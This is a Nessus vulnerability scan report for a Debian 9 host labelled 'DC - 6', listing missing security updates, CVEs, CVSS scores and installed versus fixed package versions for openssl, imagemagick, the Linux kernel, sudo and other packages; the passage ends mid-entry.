tenable Nessus

Report generated by Tenable Nessus™

DC - 6

Tue, 11 Nov 2025 15:31:32 UTC

TABLE OF CONTENTS

Vulnerabilities by Host

Collapse All | Expand All

10.255.112.211

CRITICAL	HIGH	MEDIUM	LOW	INFO
2	63	114	12	60

Scan Information

Start time:	Tue Nov 11 15:21:35 2025
End time:	Tue Nov 11 15:31:32 2025

Host Information

IP:	10.255.112.211
MAC Address:	08:00:27:36:E7:87
OS:	Linux Kernel 4.9.0-8-amd64 on Debian 9.8

Vulnerabilities

161207 - Debian DLA-3008-1 : openssl - LTS security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

The remote Debian 9 host has packages installed that are affected by a vulnerability as referenced in the dla-3008 advisory.

The c_rehash script does not properly sanitise shell metacharacters to prevent command injection. This script is executed by update-ca-certificates, from ca-certificates, to re-hash certificates in /etc/ssl/certs/. An attacker able to place files in this directory could execute arbitrary commands with the privileges of the script. For Debian 9 stretch, this problem has been fixed in version 1.1.0l-1~deb9u6. We recommend that you upgrade your openssl packages. For the detailed security status of openssl please refer to its security tracker page at: https://security-tracker.debian.org/tracker/openssl Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at: https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/openssl
https://www.debian.org/lts/security/2022/dla-3008
https://security-tracker.debian.org/tracker/CVE-2022-1292
https://packages.debian.org/source/stretch/openssl

Solution

Upgrade the openssl packages.

For Debian 9 stretch, this problem has been fixed in version 1.1.0l-1~deb9u6.

Risk Factor

Critical

CVSS v3.0 Base Score

7.3 (CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

6.6 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

7.8 (CVSS2#E:POC/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2022-1292
XREF	IAVA:2022-A-0186-S

Plugin Information

Published: 2022/05/15, Modified: 2025/08/12

Plugin Output

tcp/0

```
Remote package installed : libssl1.1_1.1.0j-1~deb9u1
Should be : libssl1.1_1.1.0l-1~deb9u6
Remote package installed : openssl_1.1.0j-1~deb9u1
Should be : openssl_1.1.0l-1~deb9u6
```

201437 - Debian Linux SEoL (9.x) -

Synopsis

An unsupported version of Debian Linux is installed on the remote host.

Description

According to its version, Debian Linux is 9.x. It is, therefore, no longer maintained by its vendor or provider.

Lack of support implies that no new security patches for the product will be released by the vendor. As a result, it may contain security vulnerabilities.

See Also

https://www.debian.org/News/2020/20200718

Solution

Upgrade to a version of Debian Linux that is currently supported.

Risk Factor

Critical

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

Plugin Information

Published: 2024/07/03, Modified: 2025/03/26

Plugin Output

tcp/0

```
OS : Debian GNU/Linux 9 (stretch)
Security End of Life : July 18, 2020
Time since Security End of Life (Est.) : >= 5 years
```

139675 - Debian DLA-2333-1 : imagemagick security update -

Synopsis

The remote Debian host is missing a security update.

Description

Several security vulnerabilities were fixed in Imagemagick. Various memory handling problems and cases of missing or incomplete input sanitizing may result in denial of service, memory or CPU exhaustion, information disclosure or potentially the execution of arbitrary code when a malformed image file is processed.

For Debian 9 stretch, these problems have been fixed in version 8:6.9.7.4+dfsg-11+deb9u9.

We recommend that you upgrade your imagemagick packages.

For the detailed security status of imagemagick please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/imagemagick

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/08/msg00030.html
https://packages.debian.org/source/stretch/imagemagick
https://security-tracker.debian.org/tracker/source-package/imagemagick

Solution

Upgrade the affected packages.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.8 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2017-12805
CVE	CVE-2017-17681
CVE	CVE-2017-18252
CVE	CVE-2018-10177
CVE	CVE-2018-14551
CVE	CVE-2018-18024
CVE	CVE-2018-20467
CVE	CVE-2018-7443
CVE	CVE-2018-8804
CVE	CVE-2018-8960
CVE	CVE-2018-9133
CVE	CVE-2019-10131
CVE	CVE-2019-11470
CVE	CVE-2019-11472
CVE	CVE-2019-11597
CVE	CVE-2019-12974
CVE	CVE-2019-12977
CVE	CVE-2019-12978
CVE	CVE-2019-12979
CVE	CVE-2019-13295
CVE	CVE-2019-13297
CVE	CVE-2019-13454
CVE	CVE-2019-14981
CVE	CVE-2019-19949

Plugin Information

Published: 2020/08/19, Modified: 2024/02/23

Plugin Output

tcp/0

```
Remote package installed : imagemagick_8:6.9.7.4+dfsg-11+deb9u6
Should be : imagemagick_8:6.9.7.4+dfsg-11+deb9u9
Remote package installed : imagemagick-6-common_8:6.9.7.4+dfsg-11+deb9u6
Should be : imagemagick-6-common_8:6.9.7.4+dfsg-11+deb9u9
Remote package installed : imagemagick-6.q16_8:6.9.7.4+dfsg-11+deb9u6
Should be : imagemagick-6.q16_8:6.9.7.4+dfsg-11+deb9u9
Remote package installed : libmagickcore-6.q16-3_8:6.9.7.4+dfsg-11+deb9u6
Should be : libmagickcore-6.q16-3_8:6.9.7.4+dfsg-11+deb9u9
Remote package installed : libmagickcore-6.q16-3-extra_8:6.9.7.4+dfsg-11+deb9u6
Should be : libmagickcore-6.q16-3-extra_8:6.9.7.4+dfsg-11+deb9u9
Remote package installed : libmagickwand-6.q16-3_8:6.9.7.4+dfsg-11+deb9u6
Should be : libmagickwand-6.q16-3_8:6.9.7.4+dfsg-11+deb9u9
```

140297 - Debian DLA-2366-1 : imagemagick security update -

Synopsis

The remote Debian host is missing a security update.

Description

Debian Bug : 870020 870019 876105 869727 886281 873059 870504 870530 870107 872609 875338 875339 875341 873871 873131 875352 878506 875503 875502 876105 876099 878546 878545 877354 877355 878524 878547 878548 878555 878554 878548 878555 878554 878579 885942 886584 928206 941670 931447 932079

Several security vulnerabilities were found in Imagemagick. Various memory handling problems and cases of missing or incomplete input sanitizing may result in denial of service, memory or CPU exhaustion, information disclosure or potentially the execution of arbitrary code when a malformed image file is processed.

For Debian 9 stretch, these problems have been fixed in version 8:6.9.7.4+dfsg-11+deb9u10.

We recommend that you upgrade your imagemagick packages.

For the detailed security status of imagemagick please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/imagemagick

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/09/msg00007.html
https://packages.debian.org/source/stretch/imagemagick
https://security-tracker.debian.org/tracker/source-package/imagemagick

Solution

Upgrade the affected packages.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.8 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2017-1000445
CVE	CVE-2017-1000476
CVE	CVE-2017-12140
CVE	CVE-2017-12429
CVE	CVE-2017-12430
CVE	CVE-2017-12435
CVE	CVE-2017-12563
CVE	CVE-2017-12643
CVE	CVE-2017-12670
CVE	CVE-2017-12674
CVE	CVE-2017-12691
CVE	CVE-2017-12692
CVE	CVE-2017-12693
CVE	CVE-2017-12806
CVE	CVE-2017-12875
CVE	CVE-2017-13061
CVE	CVE-2017-13133
CVE	CVE-2017-13658
CVE	CVE-2017-13768
CVE	CVE-2017-14060
CVE	CVE-2017-14172
CVE	CVE-2017-14173
CVE	CVE-2017-14174
CVE	CVE-2017-14175
CVE	CVE-2017-14249
CVE	CVE-2017-14341
CVE	CVE-2017-14400
CVE	CVE-2017-14505
CVE	CVE-2017-14532
CVE	CVE-2017-14624
CVE	CVE-2017-14625
CVE	CVE-2017-14626
CVE	CVE-2017-14739
CVE	CVE-2017-14741
CVE	CVE-2017-15015
CVE	CVE-2017-15017
CVE	CVE-2017-15281
CVE	CVE-2017-17682
CVE	CVE-2017-17914
CVE	CVE-2017-18209
CVE	CVE-2017-18211
CVE	CVE-2017-18271
CVE	CVE-2017-18273
CVE	CVE-2018-16643
CVE	CVE-2018-16749
CVE	CVE-2018-18025
CVE	CVE-2019-11598
CVE	CVE-2019-13135
CVE	CVE-2019-13308
CVE	CVE-2019-13391
CVE	CVE-2019-15139

Plugin Information

Published: 2020/09/08, Modified: 2024/02/21

Plugin Output

tcp/0

```
Remote package installed : imagemagick_8:6.9.7.4+dfsg-11+deb9u6
Should be : imagemagick_8:6.9.7.4+dfsg-11+deb9u10
Remote package installed : imagemagick-6-common_8:6.9.7.4+dfsg-11+deb9u6
Should be : imagemagick-6-common_8:6.9.7.4+dfsg-11+deb9u10
Remote package installed : imagemagick-6.q16_8:6.9.7.4+dfsg-11+deb9u6
Should be : imagemagick-6.q16_8:6.9.7.4+dfsg-11+deb9u10
Remote package installed : libmagickcore-6.q16-3_8:6.9.7.4+dfsg-11+deb9u6
Should be : libmagickcore-6.q16-3_8:6.9.7.4+dfsg-11+deb9u10
Remote package installed : libmagickcore-6.q16-3-extra_8:6.9.7.4+dfsg-11+deb9u6
Should be : libmagickcore-6.q16-3-extra_8:6.9.7.4+dfsg-11+deb9u10
Remote package installed : libmagickwand-6.q16-3_8:6.9.7.4+dfsg-11+deb9u6
Should be : libmagickwand-6.q16-3_8:6.9.7.4+dfsg-11+deb9u10
```

142176 - Debian DLA-2420-2 : linux regression update -

Synopsis

The remote Debian host is missing a security update.

Description

This update corrects a regression in some Xen virtual machine environments. For reference the original advisory text follows.

Several vulnerabilities have been discovered in the Linux kernel that may lead to the execution of arbitrary code, privilege escalation, denial of service or information leaks.

CVE-2019-9445

A potential out-of-bounds read was discovered in the F2FS implementation. A user permitted to mount and access arbitrary filesystems could potentially use this to cause a denial of service (crash) or to read sensitive information.

CVE-2019-19073, CVE-2019-19074

Navid Emamdoost discovered potential memory leaks in the ath9k and ath9k_htc drivers. The security impact of these is unclear.

CVE-2019-19448

'Team bobfuzzer' reported a bug in Btrfs that could lead to a use-after-free, and could be triggered by crafted filesystem images. A user permitted to mount and access arbitrary filesystems could use this to cause a denial of service (crash or memory corruption) or possibly for privilege escalation.

CVE-2020-12351

Andy Nguyen discovered a flaw in the Bluetooth implementation in the way L2CAP packets with A2MP CID are handled. A remote attacker within a short distance, knowing the victim's Bluetooth device address, can send a malicious l2cap packet and cause a denial of service or possibly arbitrary code execution with kernel privileges.

CVE-2020-12352

Andy Nguyen discovered a flaw in the Bluetooth implementation. Stack memory is not properly initialised when handling certain AMP packets.
A remote attacker within a short distance, knowing the victim's Bluetooth device address address, can retrieve kernel stack information.

CVE-2020-12655

Zheng Bin reported that crafted XFS volumes could trigger a system hang. An attacker able to mount such a volume could use this to cause a denial of service.

CVE-2020-12771

Zhiqiang Liu reported a bug in the bcache block driver that could lead to a system hang. The security impact of this is unclear.

CVE-2020-12888

It was discovered that the PCIe Virtual Function I/O (vfio-pci) driver allowed users to disable a device's memory space while it was still mapped into a process. On some hardware platforms, local users or guest virtual machines permitted to access PCIe Virtual Functions could use this to cause a denial of service (hardware error and crash).

CVE-2020-14305

Vasily Averin of Virtuozzo discovered a potential heap buffer overflow in the netfilter nf_contrack_h323 module. When this module is used to perform connection tracking for TCP/IPv6, a remote attacker could use this to cause a denial of service (crash or memory corruption) or possibly for remote code execution with kernel privilege.

CVE-2020-14314

A bug was discovered in the ext4 filesystem that could lead to an out-of-bound read. A local user permitted to mount and access arbitrary filesystem images could

use this to cause a denial of service (crash).

CVE-2020-14331

A bug was discovered in the VGA console driver's soft-scrollback feature that could lead to a heap buffer overflow. On a system with a custom kernel that has CONFIG_VGACON_SOFT_SCROLLBACK enabled, a local user with access to a console could use this to cause a denial of service (crash or memory corruption) or possibly for privilege escalation.

CVE-2020-14356, CVE-2020-25220

A bug was discovered in the cgroup subsystem's handling of socket references to cgroups. In some cgroup configurations, this could lead to a use-after-free. A local user might be able to use this to cause a denial of service (crash or memory corruption) or possibly for privilege escalation.

The original fix for this bug introudced a new security issue, which is also addressed in this update.

CVE-2020-14386

Or Cohen discovered a bug in the packet socket (AF_PACKET) implementation which could lead to a heap buffer overflow. A local user with the CAP_NET_RAW capability (in any user namespace) could use this to cause a denial of service (crash or memory corruption) or possibly for privilege escalation.

CVE-2020-14390

Minh Yuan discovered a bug in the framebuffer console driver's scrollback feature that could lead to a heap buffer overflow. On a system using framebuffer consoles, a local user with access to a console could use this to cause a denial of service (crash or memory corruption) or possibly for privilege escalation.

The scrollback feature has been disabled for now, as no other fix was available for this issue.

CVE-2020-15393

Kyungtae Kim reported a memory leak in the usbtest driver. The security impact of this is unclear.

CVE-2020-16166

Amit Klein reported that the random number generator used by the network stack might not be re-seeded for long periods of time, making e.g. client port number allocations more predictable. This made it easier for remote attackers to carry out some network- based attacks such as DNS cache poisoning or device tracking.

CVE-2020-24490

Andy Nguyen discovered a flaw in the Bluetooth implementation that can lead to a heap buffer overflow. On systems with a Bluetooth 5 hardware interface, a remote attacker within a short distance can use this to cause a denial of service (crash or memory corruption) or possibly for remote code execution with kernel privilege.

CVE-2020-25211

A flaw was discovered in netfilter subsystem. A local attacker able to inject conntrack Netlink configuration can cause a denial of service.

CVE-2020-25212

A bug was discovered in the NFSv4 client implementation that could lead to a heap buffer overflow. A malicious NFS server could use this to cause a denial of service (crash or memory corruption) or possibly to execute arbitrary code on the client.

CVE-2020-25284

It was discovered that the Rados block device (rbd) driver allowed tasks running as uid 0 to add and remove rbd devices, even if they dropped capabilities. On a system with the rbd driver loaded, this might allow privilege escalation from a container with a task running as root.

CVE-2020-25285

A race condition was discovered in the hugetlb filesystem's sysctl handlers, that could lead to stack corruption. A local user permitted to write to hugepages sysctls could use this to cause a denial of service (crash or memory corruption) or possibly for privilege escalation. By default only the root user can do this.

CVE-2020-25641

The syzbot tool found a bug in the block layer that could lead to an infinite loop. A local user with access to a raw block device could use this to cause a denial of service (unbounded CPU use and possible system hang).

CVE-2020-25643

ChenNan Of Chaitin Security Research Lab discovered a flaw in the hdlc_ppp module. Improper input validation in the ppp_cp_parse_cr() function may lead to memory corruption and information disclosure.

CVE-2020-26088

It was discovered that the NFC (Near Field Communication) socket implementation allowed any user to create raw sockets. On a system with an NFC interface, this

allowed local users to evade local network security policy.

For Debian 9 stretch, these problems have been fixed in version 4.9.240-1. This update additionally includes many more bug fixes from stable updates 4.9.229-4.9.240 inclusive.

We recommend that you upgrade your linux packages.

For the detailed security status of linux please refer to its security tracker page at: https://security-tracker.debian.org/tracker/linux

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/10/msg00034.html
https://packages.debian.org/source/stretch/linux
https://security-tracker.debian.org/tracker/source-package/linux

Solution

Upgrade the affected packages.

Risk Factor

High

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.9 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

8.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:C)

CVSS v2.0 Temporal Score

6.5 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2019-19073
CVE	CVE-2019-19074
CVE	CVE-2019-19448
CVE	CVE-2019-9445
CVE	CVE-2020-12351
CVE	CVE-2020-12352
CVE	CVE-2020-12655
CVE	CVE-2020-12771
CVE	CVE-2020-12888
CVE	CVE-2020-14305
CVE	CVE-2020-14314
CVE	CVE-2020-14331
CVE	CVE-2020-14356
CVE	CVE-2020-14386
CVE	CVE-2020-14390
CVE	CVE-2020-15393
CVE	CVE-2020-16166
CVE	CVE-2020-24490
CVE	CVE-2020-25211
CVE	CVE-2020-25212
CVE	CVE-2020-25220
CVE	CVE-2020-25284
CVE	CVE-2020-25285
CVE	CVE-2020-25641
CVE	CVE-2020-25643
CVE	CVE-2020-26088

Plugin Information

Published: 2020/11/02, Modified: 2024/02/13

Plugin Output

tcp/0

```
Remote package installed : linux-image-4.9.0-8-amd64_4.9.144-3.1
```

```
Should be : linux-image-4.9.0-<ANY>-amd64_4.9.240-2

Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

142169 - Debian DLA-2424-1 : tzdata new upstream version -

Synopsis

The remote Debian host is missing a security update.

Description

tzdata, the time zone and daylight-saving time data, has been updated to the latest version.

- Revised predictions for Morocco's changes starting in 2023.

- Macquarie Island has stayed in sync with Tasmania since 2011.

- Casey, Antarctica is at +08 in winter and +11 in summer since 2018.

- Palestine ends DST earlier than predicted, on 2020-10-24.

- Fiji starts DST later than usual, on 2020-12-20.

For Debian 9 stretch, this problem has been fixed in version 2020d-0+deb9u1.

We recommend that you upgrade your tzdata packages.

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/10/msg00037.html
https://packages.debian.org/source/stretch/tzdata

Solution

Upgrade the affected tzdata package.

Risk Factor

High

Plugin Information

Published: 2020/11/02, Modified: 2020/11/02

Plugin Output

tcp/0

```
Remote package installed : tzdata_2019a-0+deb9u1
Should be : tzdata_2020d-0+deb9u1
```

142199 - Debian DLA-2425-1 : openldap security update -

Synopsis

The remote Debian host is missing a security update.

Description

A vulnerability in the handling of normalization with modrdn was discovered in OpenLDAP, a free implementation of the Lightweight Directory Access Protocol. An unauthenticated remote attacker can use this flaw to cause a denial of service (slapd daemon crash) via a specially crafted packet.

For Debian 9 stretch, this problem has been fixed in version 2.4.44+dfsg-5+deb9u5.

We recommend that you upgrade your openldap packages.

For the detailed security status of openldap please refer to its security tracker page at:

https://security-tracker.debian.org/tracker/openldap

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/11/msg00000.html
https://packages.debian.org/source/stretch/openldap
https://security-tracker.debian.org/tracker/source-package/openldap

Solution

Upgrade the affected packages.

Risk Factor

High

Plugin Information

Published: 2020/11/02, Modified: 2020/11/02

Plugin Output

tcp/0

```
Remote package installed : libldap-2.4-2_2.4.44+dfsg-5+deb9u2
Should be : libldap-2.4-2_2.4.44+dfsg-5+deb9u5
Remote package installed : libldap-common_2.4.44+dfsg-5+deb9u2
Should be : libldap-common_2.4.44+dfsg-5+deb9u5
```

144494 - Debian DLA-2494-1 : linux security update -

Synopsis

The remote Debian host is missing a security update.

Description

Several vulnerabilities have been discovered in the Linux kernel that may lead to the execution of arbitrary code, privilege escalation, denial of service or information leaks.

CVE-2020-0427

Elena Petrova reported a bug in the pinctrl subsystem that can lead to a use-after-free after a device is renamed. The security impact of this is unclear.

CVE-2020-8694

Multiple researchers discovered that the powercap subsystem allowed all users to read CPU energy meters, by default. On systems using Intel CPUs, this provided a side channel that could leak sensitive information between user processes, or from the kernel to user processes. The energy meters are now readable only by root, by default.

This issue can be mitigated by running :

chmod go-r /sys/devices/virtual/powercap/*/*/energy_uj

This needs to be repeated each time the system is booted with an unfixed kernel version.

CVE-2020-14351

A race condition was discovered in the performance events subsystem, which could lead to a use-after-free. A local user permitted to access performance events could use this to cause a denial of service (crash or memory corruption) or possibly for privilege escalation.

Debian's kernel configuration does not allow unprivileged users to access peformance events by default, which fully mitigates this issue.

CVE-2020-25645

A flaw was discovered in the interface driver for GENEVE encapsulated traffic when combined with IPsec. If IPsec is configured to encrypt traffic for the specific UDP port used by the GENEVE tunnel, tunneled data isn't correctly routed over the encrypted link and sent unencrypted instead.

CVE-2020-25656

Yuan Ming and Bodong Zhao discovered a race condition in the virtual terminal (vt) driver that could lead to a use-after-free. A local user with the CAP_SYS_TTY_CONFIG capability could use this to cause a denial of service (crash or memory corruption) or possibly for privilege escalation.

CVE-2020-25668

Yuan Ming and Bodong Zhao discovered a race condition in the virtual terminal (vt) driver that could lead to a use-after-free. A local user with access to a virtual terminal, or with the CAP_SYS_TTY_CONFIG capability, could use this to cause a denial of service (crash or memory corruption) or possibly for privilege escalation.

CVE-2020-25669

Bodong Zhao discovered a bug in the Sun keyboard driver (sunkbd) that could lead to a use-after-free. On a system using this driver, a local user could use this to cause a denial of service (crash or memory corruption) or possibly for privilege escalation.

CVE-2020-25704

kiyin(尹亮) discovered a potential memory leak in the performance events subsystem. A local user permitted to access performance events could use this to cause a denial of service (memory exhaustion).

Debian's kernel configuration does not allow unprivileged users to access peformance events by default, which fully mitigates this issue.

CVE-2020-25705

Keyu Man reported that strict rate-limiting of ICMP packet transmission provided a side-channel that could help networked attackers to carry out packet spoofing. In particular, this made it practical for off-path networked attackers to 'poison' DNS caches with spoofed responses ('SAD DNS' attack).

This issue has been mitigated by randomising whether packets are counted against the rate limit.

CVE-2020-27673 / XSA-332

Julien Grall from Arm discovered a bug in the Xen event handling code.
Where Linux was used in a Xen dom0, unprivileged (domU) guests could cause a denial of service (excessive CPU usage or hang) in dom0.

CVE-2020-27675 / XSA-331

Jinoh Kang of Theori discovered a race condition in the Xen event handling code. Where Linux was used in a Xen dom0, unprivileged (domU) guests could cause a denial of service (crash) in dom0.

CVE-2020-28974

Yuan Ming discovered a bug in the virtual terminal (vt) driver that could lead to an out-of-bounds read. A local user with access to a virtual terminal, or with the CAP_SYS_TTY_CONFIG capability, could possibly use this to obtain sensitive information from the kernel or to cause a denial of service (crash).

The specific ioctl operation affected by this bug (KD_FONT_OP_COPY) has been disabled, as it is not believed that any programs depended on it.

For Debian 9 stretch, these problems have been fixed in version 4.9.246-2.

We recommend that you upgrade your linux packages.

For the detailed security status of linux please refer to its security tracker page at: https://security-tracker.debian.org/tracker/linux

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/12/msg00027.html
https://packages.debian.org/source/stretch/linux
https://security-tracker.debian.org/tracker/source-package/linux

Solution

Upgrade the affected packages.

Risk Factor

High

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.0 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

5.6 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2020-0427
CVE	CVE-2020-14351
CVE	CVE-2020-25645
CVE	CVE-2020-25656
CVE	CVE-2020-25668
CVE	CVE-2020-25669
CVE	CVE-2020-25704
CVE	CVE-2020-25705
CVE	CVE-2020-27673
CVE	CVE-2020-27675
CVE	CVE-2020-28974
CVE	CVE-2020-8694
XREF	CEA-ID:CEA-2020-0138

Plugin Information

Published: 2020/12/21, Modified: 2024/01/31

Plugin Output

tcp/0

```
Remote package installed : linux-image-4.9.0-8-amd64_4.9.144-3.1
Should be : linux-image-4.9.0-<ANY>-amd64_4.9.246-2

Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

144636 - Debian DLA-2509-1 : tzdata new upstream version -

Synopsis

The remote Debian host is missing a security update.

Description

This update includes the changes in tzdata 2020e. Notable changes are :

- Volgograd switched to Moscow time on 2020-12-27 at 02:00.

For Debian 9 stretch, this problem has been fixed in version 2020e-0+deb9u1.

We recommend that you upgrade your tzdata packages.

For the detailed security status of tzdata please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/tzdata

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/12/msg00039.html
https://packages.debian.org/source/stretch/tzdata
https://security-tracker.debian.org/tracker/source-package/tzdata

Solution

Upgrade the affected tzdata package.

Risk Factor

High

Plugin Information

Published: 2020/12/30, Modified: 2020/12/30

Plugin Output

tcp/0

```
Remote package installed : tzdata_2019a-0+deb9u1
Should be : tzdata_2020e-0+deb9u1
```

145475 - Debian DLA-2534-1 : sudo security update -

Synopsis

The remote Debian host is missing a security update.

Description

The Qualys Research Labs discovered a heap-based buffer overflow vulnerability in sudo, a program designed to provide limited super user privileges to specific users. Any local user (sudoers and non-sudoers) can exploit this flaw for root privilege escalation.

For Debian 9 stretch, this problem has been fixed in version 1.8.19p1-2.1+deb9u3.

We recommend that you upgrade your sudo packages.

For the detailed security status of sudo please refer to its security tracker page at: https://security-tracker.debian.org/tracker/sudo

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2021/01/msg00022.html
https://packages.debian.org/source/stretch/sudo
https://security-tracker.debian.org/tracker/source-package/sudo

Solution

Upgrade the affected sudo, and sudo-ldap packages.

Risk Factor

High

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.5 (CVSS:3.0/E:H/RL:O/RC:C)

CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

6.3 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-3156
XREF	IAVA:2021-A-0053
XREF	CISA-KNOWN-EXPLOITED:2022/04/27

Exploitable With

CANVAS (true) Core Impact (true) Metasploit (true)

Plugin Information

Published: 2021/01/27, Modified: 2023/01/12

Plugin Output

tcp/0

```
Remote package installed : sudo_1.8.19p1-2.1
Should be : sudo_1.8.19p1-2.1+deb9u3
```

146129 - Debian DLA-2542-1 : tzdata new upstream version -

Synopsis

The remote Debian host is missing a security update.

Description

This update includes the changes in tzdata 2021a. Notable changes are :

- South Sudan changed from +03 to +02 on 2021-02-01.

For Debian 9 stretch, this problem has been fixed in version 2021a-0+deb9u1.

We recommend that you upgrade your tzdata packages.

For the detailed security status of tzdata please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/tzdata

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2021/02/msg00003.html
https://packages.debian.org/source/stretch/tzdata
https://security-tracker.debian.org/tracker/source-package/tzdata

Solution

Upgrade the affected tzdata package.

Risk Factor

High

Plugin Information

Published: 2021/02/04, Modified: 2021/02/04

Plugin Output

tcp/0

```
Remote package installed : tzdata_2019a-0+deb9u1
Should be : tzdata_2021a-0+deb9u1
```

146321 - Debian DLA-2550-1 : openjpeg2 security update -

Synopsis

The remote Debian host is missing a security update.

Description

Various overflow errors were identified and fixed.

CVE-2020-27814

A heap-buffer overflow was found in the way openjpeg2 handled certain PNG format files.

CVE-2020-27823

Wrong computation of x1,y1 if -d option is used, resulting in heap buffer overflow.

CVE-2020-27824

Global buffer overflow on irreversible conversion when too many decomposition levels are specified.

CVE-2020-27841

Crafted input to be processed by the openjpeg encoder could cause an out-of-bounds read.

CVE-2020-27844

Crafted input to be processed by the openjpeg encoder could cause an out-of-bounds write.

CVE-2020-27845

Crafted input can cause out-of-bounds-read.

For Debian 9 stretch, these problems have been fixed in version 2.1.2-1.1+deb9u6.

We recommend that you upgrade your openjpeg2 packages.

For the detailed security status of openjpeg2 please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/openjpeg2

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2021/02/msg00011.html
https://packages.debian.org/source/stretch/openjpeg2
https://security-tracker.debian.org/tracker/source-package/openjpeg2

Solution

Upgrade the affected packages.

Risk Factor

High

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.0 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

8.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:C)

CVSS v2.0 Temporal Score

6.5 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2020-27814
CVE	CVE-2020-27823
CVE	CVE-2020-27824
CVE	CVE-2020-27841
CVE	CVE-2020-27844
CVE	CVE-2020-27845

Plugin Information

Published: 2021/02/09, Modified: 2024/01/22

Plugin Output

tcp/0

```
